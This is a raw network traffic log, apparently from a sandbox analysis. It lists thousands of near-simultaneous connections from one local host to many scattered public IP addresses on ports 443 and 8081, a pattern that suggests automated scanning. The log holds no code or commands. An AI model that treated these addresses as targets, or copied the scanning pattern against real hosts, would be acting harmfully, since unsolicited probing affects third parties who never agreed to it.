Mar 21, 2024 05:16:56.491231918 CET	43602	443	192.168.2.13	79.11.183.224
Mar 21, 2024 05:16:56.491231918 CET	43602	443	192.168.2.13	94.105.35.178
Mar 21, 2024 05:16:56.491236925 CET	44882	8081	192.168.2.13	195.206.10.117
Mar 21, 2024 05:16:56.491240025 CET	443	43602	79.11.183.224	192.168.2.13
Mar 21, 2024 05:16:56.491249084 CET	443	43602	94.105.35.178	192.168.2.13
Mar 21, 2024 05:16:56.491255045 CET	43602	443	192.168.2.13	5.42.244.133
Mar 21, 2024 05:16:56.491255045 CET	43602	443	192.168.2.13	118.219.133.152
Mar 21, 2024 05:16:56.491255045 CET	43602	443	192.168.2.13	178.95.71.93
Mar 21, 2024 05:16:56.491255045 CET	44882	8081	192.168.2.13	194.185.214.131
Mar 21, 2024 05:16:56.491255045 CET	44882	8081	192.168.2.13	93.182.238.8
Mar 21, 2024 05:16:56.491260052 CET	443	43602	5.42.244.133	192.168.2.13
Mar 21, 2024 05:16:56.491261005 CET	43602	443	192.168.2.13	178.249.238.12
Mar 21, 2024 05:16:56.491266966 CET	443	43602	118.219.133.152	192.168.2.13
Mar 21, 2024 05:16:56.491267920 CET	43602	443	192.168.2.13	37.174.101.5
Mar 21, 2024 05:16:56.491267920 CET	43602	443	192.168.2.13	79.11.183.224
Mar 21, 2024 05:16:56.491267920 CET	43602	443	192.168.2.13	94.105.35.178
Mar 21, 2024 05:16:56.491271019 CET	443	43602	178.95.71.93	192.168.2.13
Mar 21, 2024 05:16:56.491276026 CET	44882	8081	192.168.2.13	27.215.253.149
Mar 21, 2024 05:16:56.491276979 CET	43602	443	192.168.2.13	79.36.161.167
Mar 21, 2024 05:16:56.491276979 CET	44882	8081	192.168.2.13	89.101.37.214
Mar 21, 2024 05:16:56.491277933 CET	443	43602	37.174.101.5	192.168.2.13
Mar 21, 2024 05:16:56.491282940 CET	443	43602	79.36.161.167	192.168.2.13
Mar 21, 2024 05:16:56.491292000 CET	43602	443	192.168.2.13	37.26.121.60
Mar 21, 2024 05:16:56.491293907 CET	44882	8081	192.168.2.13	35.129.53.37
Mar 21, 2024 05:16:56.491297960 CET	443	43602	37.26.121.60	192.168.2.13
Mar 21, 2024 05:16:56.491298914 CET	43602	443	192.168.2.13	5.149.107.30
Mar 21, 2024 05:16:56.491301060 CET	44882	8081	192.168.2.13	82.112.228.172
Mar 21, 2024 05:16:56.491301060 CET	44882	8081	192.168.2.13	203.128.125.77
Mar 21, 2024 05:16:56.491301060 CET	43602	443	192.168.2.13	118.219.133.152
Mar 21, 2024 05:16:56.491301060 CET	43602	443	192.168.2.13	109.195.26.246
Mar 21, 2024 05:16:56.491301060 CET	43602	443	192.168.2.13	178.95.71.93
Mar 21, 2024 05:16:56.491302967 CET	44882	8081	192.168.2.13	222.135.209.56
Mar 21, 2024 05:16:56.491303921 CET	43602	443	192.168.2.13	5.42.244.133
Mar 21, 2024 05:16:56.491305113 CET	443	43602	5.149.107.30	192.168.2.13
Mar 21, 2024 05:16:56.491307020 CET	43602	443	192.168.2.13	210.168.127.57
Mar 21, 2024 05:16:56.491312027 CET	443	43602	210.168.127.57	192.168.2.13
Mar 21, 2024 05:16:56.491317987 CET	443	43602	109.195.26.246	192.168.2.13
Mar 21, 2024 05:16:56.491317987 CET	44882	8081	192.168.2.13	70.201.131.196
Mar 21, 2024 05:16:56.491317987 CET	43602	443	192.168.2.13	79.36.161.167
Mar 21, 2024 05:16:56.491324902 CET	43602	443	192.168.2.13	37.174.101.5
Mar 21, 2024 05:16:56.491324902 CET	43602	443	192.168.2.13	37.26.121.60
Mar 21, 2024 05:16:56.491342068 CET	43602	443	192.168.2.13	118.117.161.30
Mar 21, 2024 05:16:56.491342068 CET	43602	443	192.168.2.13	5.149.107.30
Mar 21, 2024 05:16:56.491343975 CET	43602	443	192.168.2.13	42.20.39.97
Mar 21, 2024 05:16:56.491350889 CET	443	43602	42.20.39.97	192.168.2.13
Mar 21, 2024 05:16:56.491352081 CET	43602	443	192.168.2.13	210.168.127.57
Mar 21, 2024 05:16:56.491353035 CET	443	43602	118.117.161.30	192.168.2.13
Mar 21, 2024 05:16:56.491357088 CET	44882	8081	192.168.2.13	154.27.56.176
Mar 21, 2024 05:16:56.491357088 CET	43602	443	192.168.2.13	109.128.248.99
Mar 21, 2024 05:16:56.491358995 CET	44882	8081	192.168.2.13	87.130.125.39
Mar 21, 2024 05:16:56.491358995 CET	43602	443	192.168.2.13	118.119.3.124
Mar 21, 2024 05:16:56.491367102 CET	43602	443	192.168.2.13	109.195.26.246
Mar 21, 2024 05:16:56.491367102 CET	44882	8081	192.168.2.13	82.110.139.204
Mar 21, 2024 05:16:56.491370916 CET	443	43602	118.119.3.124	192.168.2.13
Mar 21, 2024 05:16:56.491370916 CET	43602	443	192.168.2.13	37.238.216.190
Mar 21, 2024 05:16:56.491373062 CET	443	43602	109.128.248.99	192.168.2.13
Mar 21, 2024 05:16:56.491374969 CET	43602	443	192.168.2.13	118.117.161.30
Mar 21, 2024 05:16:56.491384029 CET	43602	443	192.168.2.13	79.165.73.49
Mar 21, 2024 05:16:56.491384029 CET	443	43602	37.238.216.190	192.168.2.13
Mar 21, 2024 05:16:56.491386890 CET	43602	443	192.168.2.13	42.20.39.97
Mar 21, 2024 05:16:56.491389990 CET	443	43602	79.165.73.49	192.168.2.13
Mar 21, 2024 05:16:56.491400003 CET	43602	443	192.168.2.13	118.119.3.124
Mar 21, 2024 05:16:56.491400957 CET	43602	443	192.168.2.13	109.128.248.99
Mar 21, 2024 05:16:56.491400957 CET	43602	443	192.168.2.13	37.204.255.224
Mar 21, 2024 05:16:56.491404057 CET	43602	443	192.168.2.13	210.177.46.178
Mar 21, 2024 05:16:56.491405964 CET	43602	443	192.168.2.13	178.44.161.15
Mar 21, 2024 05:16:56.491410017 CET	443	43602	37.204.255.224	192.168.2.13
Mar 21, 2024 05:16:56.491410971 CET	443	43602	210.177.46.178	192.168.2.13
Mar 21, 2024 05:16:56.491411924 CET	443	43602	178.44.161.15	192.168.2.13
Mar 21, 2024 05:16:56.491413116 CET	44882	8081	192.168.2.13	27.44.214.223
Mar 21, 2024 05:16:56.491421938 CET	44882	8081	192.168.2.13	105.252.182.178
Mar 21, 2024 05:16:56.491425991 CET	44882	8081	192.168.2.13	161.43.246.187
Mar 21, 2024 05:16:56.491429090 CET	43602	443	192.168.2.13	37.238.216.190
Mar 21, 2024 05:16:56.491430998 CET	43602	443	192.168.2.13	79.165.73.49
Mar 21, 2024 05:16:56.491431952 CET	44882	8081	192.168.2.13	12.124.49.168
Mar 21, 2024 05:16:56.491431952 CET	44882	8081	192.168.2.13	120.184.135.92
Mar 21, 2024 05:16:56.491442919 CET	43602	443	192.168.2.13	109.172.23.183
Mar 21, 2024 05:16:56.491444111 CET	44882	8081	192.168.2.13	203.226.78.60
Mar 21, 2024 05:16:56.491449118 CET	443	43602	109.172.23.183	192.168.2.13
Mar 21, 2024 05:16:56.491451025 CET	43602	443	192.168.2.13	210.177.46.178
Mar 21, 2024 05:16:56.491451025 CET	44882	8081	192.168.2.13	178.183.23.237
Mar 21, 2024 05:16:56.491452932 CET	43602	443	192.168.2.13	37.204.255.224
Mar 21, 2024 05:16:56.491457939 CET	43602	443	192.168.2.13	178.44.161.15
Mar 21, 2024 05:16:56.491457939 CET	44882	8081	192.168.2.13	76.226.71.190
Mar 21, 2024 05:16:56.491457939 CET	44882	8081	192.168.2.13	32.82.82.202
Mar 21, 2024 05:16:56.491471052 CET	44882	8081	192.168.2.13	53.89.243.152
Mar 21, 2024 05:16:56.491471052 CET	43602	443	192.168.2.13	42.224.76.127
Mar 21, 2024 05:16:56.491472960 CET	43602	443	192.168.2.13	109.172.23.183
Mar 21, 2024 05:16:56.491477966 CET	44882	8081	192.168.2.13	126.154.32.30
Mar 21, 2024 05:16:56.491482973 CET	44882	8081	192.168.2.13	89.102.175.28
Mar 21, 2024 05:16:56.491482973 CET	43602	443	192.168.2.13	210.198.238.78
Mar 21, 2024 05:16:56.491487980 CET	443	43602	42.224.76.127	192.168.2.13
Mar 21, 2024 05:16:56.491488934 CET	44882	8081	192.168.2.13	14.143.138.206
Mar 21, 2024 05:16:56.491501093 CET	44882	8081	192.168.2.13	154.215.251.152
Mar 21, 2024 05:16:56.491501093 CET	44882	8081	192.168.2.13	37.182.227.213
Mar 21, 2024 05:16:56.491501093 CET	44882	8081	192.168.2.13	5.109.56.104
Mar 21, 2024 05:16:56.491503000 CET	44882	8081	192.168.2.13	125.117.160.38
Mar 21, 2024 05:16:56.491504908 CET	443	43602	210.198.238.78	192.168.2.13
Mar 21, 2024 05:16:56.491508961 CET	44882	8081	192.168.2.13	123.42.205.129
Mar 21, 2024 05:16:56.491509914 CET	43602	443	192.168.2.13	109.50.0.90
Mar 21, 2024 05:16:56.491516113 CET	443	43602	109.50.0.90	192.168.2.13
Mar 21, 2024 05:16:56.491517067 CET	43602	443	192.168.2.13	94.228.192.180
Mar 21, 2024 05:16:56.491517067 CET	44882	8081	192.168.2.13	71.61.139.75
Mar 21, 2024 05:16:56.491523981 CET	43602	443	192.168.2.13	42.224.76.127
Mar 21, 2024 05:16:56.491527081 CET	443	43602	94.228.192.180	192.168.2.13
Mar 21, 2024 05:16:56.491538048 CET	43602	443	192.168.2.13	178.99.76.23
Mar 21, 2024 05:16:56.491538048 CET	44882	8081	192.168.2.13	74.191.119.175
Mar 21, 2024 05:16:56.491538048 CET	44882	8081	192.168.2.13	95.6.14.197
Mar 21, 2024 05:16:56.491538048 CET	43602	443	192.168.2.13	118.223.104.1
Mar 21, 2024 05:16:56.491547108 CET	443	43602	178.99.76.23	192.168.2.13
Mar 21, 2024 05:16:56.491548061 CET	44882	8081	192.168.2.13	218.236.143.83
Mar 21, 2024 05:16:56.491548061 CET	44882	8081	192.168.2.13	36.112.234.218
Mar 21, 2024 05:16:56.491554022 CET	443	43602	118.223.104.1	192.168.2.13
Mar 21, 2024 05:16:56.491564989 CET	43602	443	192.168.2.13	94.228.192.180
Mar 21, 2024 05:16:56.491564989 CET	43602	443	192.168.2.13	79.128.87.137
Mar 21, 2024 05:16:56.491565943 CET	44882	8081	192.168.2.13	123.185.23.159
Mar 21, 2024 05:16:56.491565943 CET	44882	8081	192.168.2.13	157.1.18.77
Mar 21, 2024 05:16:56.491566896 CET	43602	443	192.168.2.13	212.198.56.61
Mar 21, 2024 05:16:56.491566896 CET	44882	8081	192.168.2.13	123.198.107.33
Mar 21, 2024 05:16:56.491574049 CET	443	43602	79.128.87.137	192.168.2.13
Mar 21, 2024 05:16:56.491575003 CET	43602	443	192.168.2.13	118.39.213.54
Mar 21, 2024 05:16:56.491575956 CET	43602	443	192.168.2.13	210.198.238.78
Mar 21, 2024 05:16:56.491575956 CET	43602	443	192.168.2.13	109.50.0.90
Mar 21, 2024 05:16:56.491575956 CET	44882	8081	192.168.2.13	152.223.130.181
Mar 21, 2024 05:16:56.491576910 CET	43602	443	192.168.2.13	94.211.114.74
Mar 21, 2024 05:16:56.491579056 CET	44882	8081	192.168.2.13	78.3.161.23
Mar 21, 2024 05:16:56.491576910 CET	43602	443	192.168.2.13	178.237.198.202
Mar 21, 2024 05:16:56.491579056 CET	43602	443	192.168.2.13	178.99.76.23
Mar 21, 2024 05:16:56.491580963 CET	443	43602	118.39.213.54	192.168.2.13
Mar 21, 2024 05:16:56.491580963 CET	443	43602	212.198.56.61	192.168.2.13
Mar 21, 2024 05:16:56.491584063 CET	43602	443	192.168.2.13	42.3.186.207
Mar 21, 2024 05:16:56.491589069 CET	443	43602	42.3.186.207	192.168.2.13
Mar 21, 2024 05:16:56.491592884 CET	443	43602	94.211.114.74	192.168.2.13
Mar 21, 2024 05:16:56.491595030 CET	443	43602	178.237.198.202	192.168.2.13
Mar 21, 2024 05:16:56.491595984 CET	43602	443	192.168.2.13	118.223.104.1
Mar 21, 2024 05:16:56.491597891 CET	44882	8081	192.168.2.13	160.238.66.170
Mar 21, 2024 05:16:56.491606951 CET	44882	8081	192.168.2.13	146.6.210.171
Mar 21, 2024 05:16:56.491622925 CET	43602	443	192.168.2.13	109.163.254.189
Mar 21, 2024 05:16:56.491626024 CET	43602	443	192.168.2.13	118.39.213.54
Mar 21, 2024 05:16:56.491628885 CET	43602	443	192.168.2.13	178.132.57.138
Mar 21, 2024 05:16:56.491628885 CET	43602	443	192.168.2.13	94.211.114.74
Mar 21, 2024 05:16:56.491627932 CET	43602	443	192.168.2.13	79.128.87.137
Mar 21, 2024 05:16:56.491627932 CET	43602	443	192.168.2.13	118.14.71.26
Mar 21, 2024 05:16:56.491632938 CET	43602	443	192.168.2.13	118.254.34.245
Mar 21, 2024 05:16:56.491632938 CET	443	43602	109.163.254.189	192.168.2.13
Mar 21, 2024 05:16:56.491638899 CET	443	43602	118.254.34.245	192.168.2.13
Mar 21, 2024 05:16:56.491640091 CET	443	43602	118.14.71.26	192.168.2.13
Mar 21, 2024 05:16:56.491641045 CET	443	43602	178.132.57.138	192.168.2.13
Mar 21, 2024 05:16:56.491646051 CET	43602	443	192.168.2.13	212.198.56.61
Mar 21, 2024 05:16:56.491648912 CET	43602	443	192.168.2.13	42.3.186.207
Mar 21, 2024 05:16:56.491661072 CET	43602	443	192.168.2.13	79.243.61.133
Mar 21, 2024 05:16:56.491667986 CET	443	43602	79.243.61.133	192.168.2.13
Mar 21, 2024 05:16:56.491672039 CET	43602	443	192.168.2.13	178.132.57.138
Mar 21, 2024 05:16:56.491679907 CET	43602	443	192.168.2.13	118.254.34.245
Mar 21, 2024 05:16:56.491686106 CET	43602	443	192.168.2.13	109.136.86.169
Mar 21, 2024 05:16:56.491688013 CET	43602	443	192.168.2.13	118.14.71.26
Mar 21, 2024 05:16:56.491692066 CET	443	43602	109.136.86.169	192.168.2.13
Mar 21, 2024 05:16:56.491692066 CET	43602	443	192.168.2.13	79.243.61.133
Mar 21, 2024 05:16:56.491693974 CET	43602	443	192.168.2.13	109.163.254.189
Mar 21, 2024 05:16:56.491698980 CET	43602	443	192.168.2.13	178.237.198.202
Mar 21, 2024 05:16:56.491698980 CET	43602	443	192.168.2.13	94.98.5.201
Mar 21, 2024 05:16:56.491702080 CET	43602	443	192.168.2.13	42.59.88.71
Mar 21, 2024 05:16:56.491702080 CET	43602	443	192.168.2.13	178.247.147.76
Mar 21, 2024 05:16:56.491708994 CET	443	43602	42.59.88.71	192.168.2.13
Mar 21, 2024 05:16:56.491709948 CET	443	43602	94.98.5.201	192.168.2.13
Mar 21, 2024 05:16:56.491718054 CET	443	43602	178.247.147.76	192.168.2.13
Mar 21, 2024 05:16:56.491727114 CET	44882	8081	192.168.2.13	172.224.170.243
Mar 21, 2024 05:16:56.491727114 CET	43602	443	192.168.2.13	37.16.204.106
Mar 21, 2024 05:16:56.491727114 CET	43602	443	192.168.2.13	109.136.86.169
Mar 21, 2024 05:16:56.491730928 CET	43602	443	192.168.2.13	42.54.162.224
Mar 21, 2024 05:16:56.491734028 CET	443	43602	37.16.204.106	192.168.2.13
Mar 21, 2024 05:16:56.491736889 CET	443	43602	42.54.162.224	192.168.2.13
Mar 21, 2024 05:16:56.491746902 CET	44882	8081	192.168.2.13	43.150.237.183
Mar 21, 2024 05:16:56.491746902 CET	43602	443	192.168.2.13	42.59.88.71
Mar 21, 2024 05:16:56.491754055 CET	43602	443	192.168.2.13	37.245.247.55
Mar 21, 2024 05:16:56.491754055 CET	43602	443	192.168.2.13	94.98.5.201
Mar 21, 2024 05:16:56.491760969 CET	443	43602	37.245.247.55	192.168.2.13
Mar 21, 2024 05:16:56.491760969 CET	44882	8081	192.168.2.13	220.17.8.92
Mar 21, 2024 05:16:56.491760969 CET	43602	443	192.168.2.13	178.247.147.76
Mar 21, 2024 05:16:56.491761923 CET	43602	443	192.168.2.13	2.244.17.209
Mar 21, 2024 05:16:56.491770029 CET	443	43602	2.244.17.209	192.168.2.13
Mar 21, 2024 05:16:56.491770983 CET	43602	443	192.168.2.13	37.16.204.106
Mar 21, 2024 05:16:56.491771936 CET	43602	443	192.168.2.13	42.54.162.224
Mar 21, 2024 05:16:56.491831064 CET	43602	443	192.168.2.13	2.244.17.209
Mar 21, 2024 05:16:56.491832018 CET	43602	443	192.168.2.13	94.58.206.196
Mar 21, 2024 05:16:56.491831064 CET	43602	443	192.168.2.13	94.70.186.244
Mar 21, 2024 05:16:56.491833925 CET	43602	443	192.168.2.13	210.224.196.232
Mar 21, 2024 05:16:56.491837978 CET	43602	443	192.168.2.13	178.244.235.6
Mar 21, 2024 05:16:56.491842031 CET	443	43602	210.224.196.232	192.168.2.13
Mar 21, 2024 05:16:56.491842031 CET	43602	443	192.168.2.13	37.245.247.55
Mar 21, 2024 05:16:56.491844893 CET	443	43602	178.244.235.6	192.168.2.13
Mar 21, 2024 05:16:56.491847992 CET	43602	443	192.168.2.13	178.250.254.181
Mar 21, 2024 05:16:56.491844893 CET	443	43602	94.70.186.244	192.168.2.13
Mar 21, 2024 05:16:56.491856098 CET	43602	443	192.168.2.13	42.158.208.196
Mar 21, 2024 05:16:56.491863012 CET	443	43602	178.250.254.181	192.168.2.13
Mar 21, 2024 05:16:56.491867065 CET	443	43602	94.58.206.196	192.168.2.13
Mar 21, 2024 05:16:56.491868973 CET	43602	443	192.168.2.13	210.230.194.201
Mar 21, 2024 05:16:56.491869926 CET	43602	443	192.168.2.13	37.229.75.136
Mar 21, 2024 05:16:56.491871119 CET	43602	443	192.168.2.13	210.224.196.232
Mar 21, 2024 05:16:56.491873026 CET	43602	443	192.168.2.13	2.40.175.131
Mar 21, 2024 05:16:56.491873980 CET	443	43602	42.158.208.196	192.168.2.13
Mar 21, 2024 05:16:56.491874933 CET	443	43602	210.230.194.201	192.168.2.13
Mar 21, 2024 05:16:56.491877079 CET	443	43602	37.229.75.136	192.168.2.13
Mar 21, 2024 05:16:56.491887093 CET	43602	443	192.168.2.13	178.244.235.6
Mar 21, 2024 05:16:56.491887093 CET	443	43602	2.40.175.131	192.168.2.13
Mar 21, 2024 05:16:56.491888046 CET	43602	443	192.168.2.13	118.37.15.60
Mar 21, 2024 05:16:56.491888046 CET	43602	443	192.168.2.13	94.70.186.244
Mar 21, 2024 05:16:56.491894960 CET	43602	443	192.168.2.13	79.176.171.210
Mar 21, 2024 05:16:56.491894960 CET	43602	443	192.168.2.13	178.250.254.181
Mar 21, 2024 05:16:56.491898060 CET	443	43602	118.37.15.60	192.168.2.13
Mar 21, 2024 05:16:56.491899967 CET	443	43602	79.176.171.210	192.168.2.13
Mar 21, 2024 05:16:56.491914034 CET	43602	443	192.168.2.13	210.230.194.201
Mar 21, 2024 05:16:56.491916895 CET	43602	443	192.168.2.13	37.229.75.136
Mar 21, 2024 05:16:56.491918087 CET	43602	443	192.168.2.13	94.58.206.196
Mar 21, 2024 05:16:56.491918087 CET	43602	443	192.168.2.13	2.40.175.131
Mar 21, 2024 05:16:56.491918087 CET	43602	443	192.168.2.13	42.158.208.196
Mar 21, 2024 05:16:56.491941929 CET	43602	443	192.168.2.13	79.176.171.210
Mar 21, 2024 05:16:56.491941929 CET	43602	443	192.168.2.13	42.60.216.15
Mar 21, 2024 05:16:56.491952896 CET	443	43602	42.60.216.15	192.168.2.13
Mar 21, 2024 05:16:56.491961956 CET	43602	443	192.168.2.13	5.233.241.121
Mar 21, 2024 05:16:56.491966963 CET	443	43602	5.233.241.121	192.168.2.13
Mar 21, 2024 05:16:56.491987944 CET	43602	443	192.168.2.13	118.37.15.60
Mar 21, 2024 05:16:56.491987944 CET	43602	443	192.168.2.13	79.12.200.78
Mar 21, 2024 05:16:56.491988897 CET	43602	443	192.168.2.13	42.60.216.15
Mar 21, 2024 05:16:56.491988897 CET	43602	443	192.168.2.13	5.233.241.121
Mar 21, 2024 05:16:56.491997957 CET	443	43602	79.12.200.78	192.168.2.13
Mar 21, 2024 05:16:56.492039919 CET	43602	443	192.168.2.13	79.12.200.78
Mar 21, 2024 05:16:56.492266893 CET	33532	443	192.168.2.13	178.35.31.50
Mar 21, 2024 05:16:56.492274046 CET	443	33532	178.35.31.50	192.168.2.13
Mar 21, 2024 05:16:56.492321014 CET	33532	443	192.168.2.13	178.35.31.50
Mar 21, 2024 05:16:56.492338896 CET	56408	443	192.168.2.13	79.125.167.50
Mar 21, 2024 05:16:56.492346048 CET	443	56408	79.125.167.50	192.168.2.13
Mar 21, 2024 05:16:56.492364883 CET	40882	443	192.168.2.13	109.51.193.54
Mar 21, 2024 05:16:56.492372990 CET	443	40882	109.51.193.54	192.168.2.13
Mar 21, 2024 05:16:56.492383957 CET	56408	443	192.168.2.13	79.125.167.50
Mar 21, 2024 05:16:56.492404938 CET	40882	443	192.168.2.13	109.51.193.54
Mar 21, 2024 05:16:56.492460966 CET	54786	443	192.168.2.13	212.46.243.46
Mar 21, 2024 05:16:56.492466927 CET	443	54786	212.46.243.46	192.168.2.13
Mar 21, 2024 05:16:56.492476940 CET	34258	443	192.168.2.13	178.102.42.115
Mar 21, 2024 05:16:56.492485046 CET	443	34258	178.102.42.115	192.168.2.13
Mar 21, 2024 05:16:56.492494106 CET	50694	443	192.168.2.13	42.168.122.89
Mar 21, 2024 05:16:56.492496014 CET	54786	443	192.168.2.13	212.46.243.46
Mar 21, 2024 05:16:56.492503881 CET	443	50694	42.168.122.89	192.168.2.13
Mar 21, 2024 05:16:56.492511034 CET	50248	443	192.168.2.13	5.224.148.136
Mar 21, 2024 05:16:56.492517948 CET	443	50248	5.224.148.136	192.168.2.13
Mar 21, 2024 05:16:56.492521048 CET	34258	443	192.168.2.13	178.102.42.115
Mar 21, 2024 05:16:56.492521048 CET	47030	443	192.168.2.13	2.234.236.5
Mar 21, 2024 05:16:56.492533922 CET	443	47030	2.234.236.5	192.168.2.13
Mar 21, 2024 05:16:56.492544889 CET	50694	443	192.168.2.13	42.168.122.89
Mar 21, 2024 05:16:56.492544889 CET	50248	443	192.168.2.13	5.224.148.136
Mar 21, 2024 05:16:56.492564917 CET	47030	443	192.168.2.13	2.234.236.5
Mar 21, 2024 05:16:56.492573023 CET	35504	443	192.168.2.13	94.145.231.25
Mar 21, 2024 05:16:56.492579937 CET	443	35504	94.145.231.25	192.168.2.13
Mar 21, 2024 05:16:56.492609978 CET	35504	443	192.168.2.13	94.145.231.25
Mar 21, 2024 05:16:56.492652893 CET	47458	443	192.168.2.13	118.1.44.174
Mar 21, 2024 05:16:56.492661953 CET	443	47458	118.1.44.174	192.168.2.13
Mar 21, 2024 05:16:56.492667913 CET	58146	443	192.168.2.13	212.188.190.156
Mar 21, 2024 05:16:56.492680073 CET	443	58146	212.188.190.156	192.168.2.13
Mar 21, 2024 05:16:56.492697954 CET	32840	443	192.168.2.13	94.227.25.93
Mar 21, 2024 05:16:56.492701054 CET	47458	443	192.168.2.13	118.1.44.174
Mar 21, 2024 05:16:56.492701054 CET	41362	443	192.168.2.13	5.105.68.239
Mar 21, 2024 05:16:56.492706060 CET	443	32840	94.227.25.93	192.168.2.13
Mar 21, 2024 05:16:56.492716074 CET	443	41362	5.105.68.239	192.168.2.13
Mar 21, 2024 05:16:56.492717028 CET	58146	443	192.168.2.13	212.188.190.156
Mar 21, 2024 05:16:56.492729902 CET	40876	443	192.168.2.13	210.191.165.198
Mar 21, 2024 05:16:56.492738008 CET	443	40876	210.191.165.198	192.168.2.13
Mar 21, 2024 05:16:56.492748022 CET	41362	443	192.168.2.13	5.105.68.239
Mar 21, 2024 05:16:56.492759943 CET	59034	443	192.168.2.13	178.159.80.116
Mar 21, 2024 05:16:56.492767096 CET	443	59034	178.159.80.116	192.168.2.13
Mar 21, 2024 05:16:56.492768049 CET	40876	443	192.168.2.13	210.191.165.198
Mar 21, 2024 05:16:56.492770910 CET	32840	443	192.168.2.13	94.227.25.93
Mar 21, 2024 05:16:56.492783070 CET	45592	443	192.168.2.13	118.213.31.29
Mar 21, 2024 05:16:56.492789030 CET	443	45592	118.213.31.29	192.168.2.13
Mar 21, 2024 05:16:56.492800951 CET	32884	443	192.168.2.13	37.87.150.107
Mar 21, 2024 05:16:56.492801905 CET	59034	443	192.168.2.13	178.159.80.116
Mar 21, 2024 05:16:56.492809057 CET	443	32884	37.87.150.107	192.168.2.13
Mar 21, 2024 05:16:56.492826939 CET	36678	443	192.168.2.13	79.145.35.178
Mar 21, 2024 05:16:56.492829084 CET	45592	443	192.168.2.13	118.213.31.29
Mar 21, 2024 05:16:56.492834091 CET	443	36678	79.145.35.178	192.168.2.13
Mar 21, 2024 05:16:56.492850065 CET	55512	443	192.168.2.13	109.58.147.150
Mar 21, 2024 05:16:56.492852926 CET	32884	443	192.168.2.13	37.87.150.107
Mar 21, 2024 05:16:56.492856026 CET	443	55512	109.58.147.150	192.168.2.13
Mar 21, 2024 05:16:56.492888927 CET	38528	443	192.168.2.13	42.133.64.215
Mar 21, 2024 05:16:56.492889881 CET	55512	443	192.168.2.13	109.58.147.150
Mar 21, 2024 05:16:56.492897034 CET	36678	443	192.168.2.13	79.145.35.178
Mar 21, 2024 05:16:56.492899895 CET	443	38528	42.133.64.215	192.168.2.13
Mar 21, 2024 05:16:56.492912054 CET	32778	443	192.168.2.13	79.77.16.170
Mar 21, 2024 05:16:56.492919922 CET	443	32778	79.77.16.170	192.168.2.13
Mar 21, 2024 05:16:56.492930889 CET	38528	443	192.168.2.13	42.133.64.215
Mar 21, 2024 05:16:56.492932081 CET	50174	443	192.168.2.13	2.1.255.62
Mar 21, 2024 05:16:56.492939949 CET	443	50174	2.1.255.62	192.168.2.13
Mar 21, 2024 05:16:56.492954016 CET	32778	443	192.168.2.13	79.77.16.170
Mar 21, 2024 05:16:56.492978096 CET	40080	443	192.168.2.13	42.118.69.95
Mar 21, 2024 05:16:56.492978096 CET	50174	443	192.168.2.13	2.1.255.62
Mar 21, 2024 05:16:56.492985010 CET	443	40080	42.118.69.95	192.168.2.13
Mar 21, 2024 05:16:56.493005037 CET	51836	443	192.168.2.13	178.58.219.169
Mar 21, 2024 05:16:56.493010044 CET	443	51836	178.58.219.169	192.168.2.13
Mar 21, 2024 05:16:56.493015051 CET	40080	443	192.168.2.13	42.118.69.95
Mar 21, 2024 05:16:56.493032932 CET	46410	443	192.168.2.13	118.168.202.240
Mar 21, 2024 05:16:56.493036032 CET	57846	443	192.168.2.13	210.234.115.116
Mar 21, 2024 05:16:56.493038893 CET	443	46410	118.168.202.240	192.168.2.13
Mar 21, 2024 05:16:56.493043900 CET	443	57846	210.234.115.116	192.168.2.13
Mar 21, 2024 05:16:56.493047953 CET	51836	443	192.168.2.13	178.58.219.169
Mar 21, 2024 05:16:56.493067980 CET	43534	443	192.168.2.13	42.7.170.62
Mar 21, 2024 05:16:56.493074894 CET	443	43534	42.7.170.62	192.168.2.13
Mar 21, 2024 05:16:56.493077993 CET	46410	443	192.168.2.13	118.168.202.240
Mar 21, 2024 05:16:56.493093014 CET	57846	443	192.168.2.13	210.234.115.116
Mar 21, 2024 05:16:56.493093014 CET	60408	443	192.168.2.13	79.16.149.103
Mar 21, 2024 05:16:56.493102074 CET	443	60408	79.16.149.103	192.168.2.13
Mar 21, 2024 05:16:56.493109941 CET	43534	443	192.168.2.13	42.7.170.62
Mar 21, 2024 05:16:56.493112087 CET	32856	443	192.168.2.13	5.104.168.133
Mar 21, 2024 05:16:56.493119001 CET	443	32856	5.104.168.133	192.168.2.13
Mar 21, 2024 05:16:56.493122101 CET	42872	443	192.168.2.13	79.182.100.16
Mar 21, 2024 05:16:56.493125916 CET	60408	443	192.168.2.13	79.16.149.103
Mar 21, 2024 05:16:56.493129969 CET	443	42872	79.182.100.16	192.168.2.13
Mar 21, 2024 05:16:56.493146896 CET	32856	443	192.168.2.13	5.104.168.133
Mar 21, 2024 05:16:56.493194103 CET	42872	443	192.168.2.13	79.182.100.16
Mar 21, 2024 05:16:56.493736029 CET	50012	443	192.168.2.13	94.231.35.140
Mar 21, 2024 05:16:56.493741035 CET	36904	443	192.168.2.13	79.243.145.137
Mar 21, 2024 05:16:56.493748903 CET	443	50012	94.231.35.140	192.168.2.13
Mar 21, 2024 05:16:56.493752003 CET	443	36904	79.243.145.137	192.168.2.13
Mar 21, 2024 05:16:56.493756056 CET	37416	443	192.168.2.13	5.165.64.26
Mar 21, 2024 05:16:56.493761063 CET	56236	443	192.168.2.13	79.201.179.21
Mar 21, 2024 05:16:56.493765116 CET	443	37416	5.165.64.26	192.168.2.13
Mar 21, 2024 05:16:56.493767023 CET	443	56236	79.201.179.21	192.168.2.13
Mar 21, 2024 05:16:56.493774891 CET	50012	443	192.168.2.13	94.231.35.140
Mar 21, 2024 05:16:56.493788004 CET	36904	443	192.168.2.13	79.243.145.137
Mar 21, 2024 05:16:56.493804932 CET	37416	443	192.168.2.13	5.165.64.26
Mar 21, 2024 05:16:56.493807077 CET	56236	443	192.168.2.13	79.201.179.21
Mar 21, 2024 05:16:56.493807077 CET	42048	443	192.168.2.13	94.185.178.114
Mar 21, 2024 05:16:56.493829966 CET	443	42048	94.185.178.114	192.168.2.13
Mar 21, 2024 05:16:56.493835926 CET	49750	443	192.168.2.13	37.86.64.171
Mar 21, 2024 05:16:56.493839979 CET	53432	443	192.168.2.13	2.128.90.29
Mar 21, 2024 05:16:56.493843079 CET	443	49750	37.86.64.171	192.168.2.13
Mar 21, 2024 05:16:56.493848085 CET	443	53432	2.128.90.29	192.168.2.13
Mar 21, 2024 05:16:56.493851900 CET	36648	443	192.168.2.13	94.219.213.139
Mar 21, 2024 05:16:56.493860006 CET	443	36648	94.219.213.139	192.168.2.13
Mar 21, 2024 05:16:56.493861914 CET	42048	443	192.168.2.13	94.185.178.114
Mar 21, 2024 05:16:56.493876934 CET	53432	443	192.168.2.13	2.128.90.29
